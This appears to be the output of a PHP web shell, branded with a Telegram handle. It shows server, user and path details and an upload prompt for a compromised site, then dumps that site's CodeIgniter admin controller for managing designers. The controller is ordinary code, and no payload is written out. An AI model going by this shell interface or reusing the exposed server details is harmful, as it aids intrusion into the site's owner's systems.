https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/controllers/admin/Designers.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Designers extends Admin_Controller {

	//this property is used for validating existing designer title on call back edit designer
	private $designer_current_id = NULL; 
		
	function __construct() { 
		
		parent::__construct();	
		$this->load->model('designer_m');
		$this->load->model('product_m');
	}
		
	//this is to list all designers
	public function index() {

		//Add pagination
		$this->load->helper('pagination_helper'); 
		add_pagination(base_url() . 'admin/designers/index', $this->designer_m->record_count(), 6, 4);
		
		//get all designers
   		$this->data['designers'] = $this->designer_m->get_all_designers(6, $this->uri->segment(4));   

		//load view
		$this->data['subview'] = 'admin/designers/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
    }
	
	//to add & edit designer in admin
	public function edit($id = NULL) {

		if ($id == NULL) {
			//create new designer
			$this->data['designers'] = $this->designer_m->get_new();

			//get ordering number and display at add form
			$this->db->select_max('priority')->from('designers');
			$current_priority = $this->db->get()->row()->priority;
			if($current_priority == NULL) {
				$this->data['designers']->priority = 1;	
			} else {
				$this->data['designers']->priority = $current_priority + 1;
			}
		} else {
			//check if id exist. If not exist, redirect to add new
			$count = $this->designer_m->count_exist($id);
			if ($count == 0) { redirect(base_url('admin/designers/edit')); } 	

			$this->data['designers'] = $this->designer_m->get($id);	

			$this->designer_current_id = (int) $id;
		}

		//validation check
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //add class to form validation error, to be styled
		$config = $this->designer_m->rules;
		$this->form_validation->set_rules($config); 

		if($this->form_validation->run($this) == TRUE) {
			
			$image_filename = $this->image_processing($_FILES['userfile'], 'banner');

			$data = $this->table_data_processing($image_filename);

			if($this->designer_current_id == NULL) {

				$this->designer_m->add_designer($data);
				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Designer berhasil dibuat</p>');
				redirect('admin/designers');

			} else {
				$this->designer_m->edit_designer($id, $data); 
				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Designer berhasil diedit</p>');
				redirect('admin/designers/edit/' .  $id);
			} 
		}

		$this->data['subview'] = 'admin/designers/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	

	//to delete a designer
	public function delete($id = NULL) {

		if($id == NULL) redirect(base_url('admin/designers'));
		//check if id exist. 
		$count = $this->designer_m->count_exist($id);
		if ($count == 0) { redirect(base_url('admin/designers')); }		

		//delete image from server
		//check if there is an existing image
		$this->db->select('image, logo')->from('designers')->where('id_designers', (int) $id);
		$image = $this->db->get()->row();
		$banner = $image->image;
		$logo =  $image->logo;
		
		if ($banner != '' && $banner != NULL) {
			if(file_exists(FCPATH .'/uploads/designer/' . $banner)) {
				//Delete the actual image file from server. FCPATH is codeigniter base path
				unlink(FCPATH .'/uploads/designer/'. $banner);
			}
		}

		if ($logo != '' && $logo != NULL) {
			if(file_exists(FCPATH .'/uploads/designer/' . $logo)) {
				//Delete the actual image file from server. FCPATH is codeigniter base path
				unlink(FCPATH .'/uploads/designer/'. $logo);
			}
		}

		//delete designer
		$this->designer_m->delete($id); 
		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">designer berhasil dihapus</p>');
		redirect('admin/designers');
	} 

	//image upload processing
	private function image_processing($image_file, $image_type) {

		if($image_type == 'banner') {
			
			$banner_input_name = 'userfile';
			$max_size = '500';
			$max_width = '200';
			$max_height = '200';
		}

		//check & processing image banner upload files	
		if ($image_file['size'] > 0) {  	

			$config['upload_path'] = './uploads/designer/'; 
			$config['allowed_types'] = 'png|jpg|jpeg|gif';   
			$config['max_size']	= $max_size;
			$config['max_width']  = $max_width;
			$config['max_height']  = $max_height;
			
			$this->load->library('upload', $config); 

			if (!$this->upload->do_upload($banner_input_name)) {
				
				$error = array('error' => $this->upload->display_errors());
				$error_message = $error['error'];

				$this->session->set_flashdata('success', "<div style='background:red; color:white; padding:5px; font-weight:bold;'>$error_message</div>");	

				if ($this->designer_current_id != NULL) {
					redirect('admin/designers/edit/' . $this->designer_current_id);
				} elseif($this->designer_current_id == NULL) {
					redirect('admin/designers/edit');
				} 
			
			} else {
				$image = $this->upload->data();
				return $image['file_name']; 
			}	
		}
	}

	private function table_data_processing($image_filename) {

		$data = array(
			'designer' 		=> $this->security->xss_clean($this->input->post('designer_name')),
			'alias' 		=> url_title($this->security->xss_clean($this->input->post('designer_name'))),
			'status' 		=> $this->input->post('status'),
			'priority' 		=> $this->input->post('priority'),
			'meta_description' => $this->security->xss_clean($this->input->post('meta_description')),
			'meta_title'	=> $this->security->xss_clean($this->input->post('meta_title')),
			'banner_link'	=> $this->security->xss_clean($this->input->post('banner_link')),
			'updated_by'	=> $this->session->userdata('admin')['name'],
			'description1' 	=> $this->security->xss_clean($this->input->post('description1')),
			'description2' 	=> $this->security->xss_clean($this->input->post('description2')),
			'description1_en' 	=> $this->security->xss_clean($this->input->post('description1_en')),
			'description2_en' 	=> $this->security->xss_clean($this->input->post('description2_en')),
		);

		//image upload
		if (isset($image_filename)) { $data['image'] = $image_filename; }  

		return $data;
	}

	//To delete designer banner image file from server, and from database
	public function delete_image($id = NULL, $image_type) { 

		$count = $this->designer_m->count_exist($id);
		if ($id == NULL || $count == 0) {redirect('admin/designers');}

		if($image_type == 'banner') {
			//if image type is banner
			//get image file name for deletion
			$this->db->select('image')->from('designers')->where('id_designers', (int) $id);
			$image = $this->db->get()->row();
			if(file_exists(FCPATH.'/uploads/designer/'.$image->image)) {
				//Delete the actual image file from server. FCPATH is codeigniter base path
				unlink(FCPATH .'/uploads/designer/'. $image->image);
			}
			//Delete image field from database
			$data = array( 
				'image' => ''
			);
			$this->db->where('id_designers', (int) $id);
			$this->db->update('designers', $data);	

		} else {
			//if image type is logo
			//get image file name for deletion
			$this->db->select('logo')->from('designers')->where('id_designers', (int) $id);
			$image = $this->db->get()->row();
			if(file_exists(FCPATH.'/uploads/designer/'.$image->logo)) {
				//Delete the actual image file from server. FCPATH is codeigniter base path
				unlink(FCPATH .'/uploads/designer/'. $image->logo);
			}
			//Delete logo field from database
			$data = array( 
				'logo' => ''
			);
			$this->db->where('id_designers', (int) $id);
			$this->db->update('designers', $data);	
		}
		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Gambar berhasil dihapus</p>');
		redirect('admin/designers/edit/' . $id); 
	}

	//callback function validation add new designer
	//make it private by adding _
	public function _cek_existing_designer_title($str) {
		$num_rows = $this->designer_m->cek_existing_designer_title($str, $this->designer_current_id);  
		 
		if ($num_rows != 0 ) {  
			$this->form_validation->set_message('_cek_existing_designer_title', 'Nama designer sudah terdaftar');
			return FALSE;
		} else {
			return TRUE;  
		}
	}
}

https://t.me/RX1948 - 2025